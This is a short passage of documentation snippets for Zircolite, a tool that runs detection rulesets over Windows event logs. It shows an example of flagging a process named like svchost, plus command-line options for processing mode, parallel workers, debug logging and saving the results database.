https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Identifying processes masquerading as legitimate Windows binaries. ```text C:\Users\Public\svch0st.exe ``` ```text TYPOSQUAT:svchost(HOMOGLYPH) ``` -------------------------------- ### Control processing mode and parallelism Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Manual overrides for database mode selection and parallel processing settings. ```shell # Disable automatic mode selection (use default per-file mode) python3 zircolite.py --evtx logs/ --ruleset rules.json --no-auto-mode # Force unified database mode (enables cross-file rule correlation) python3 zircolite.py --evtx logs/ --ruleset rules.json --unified-db # Disable parallel processing python3 zircolite.py --evtx logs/ --ruleset rules.json --no-parallel # Set specific worker count python3 zircolite.py --evtx logs/ --ruleset rules.json --parallel-workers 4 ``` -------------------------------- ### Enable Debug Logging Source: https://github.com/wagga40/zircolite/blob/master/docs/Advanced.md Run Zircolite with the `--debug` flag to enable detailed logging, which is useful for troubleshooting. ```shell python3 zircolite.py --evtx sample.evtx --ruleset rules.json --debug ``` -------------------------------- ### Save Zircolite Database to File Source: https://github.com/wagga40/zircolite/blob/master/docs/Usage.md Use the `--dbfile` option to save the in-memory SQLite database to a file. This allows for later use and faster re-execution. ```shell python3 zircolite.py --evtx --ruleset \ --dbfile output.db ```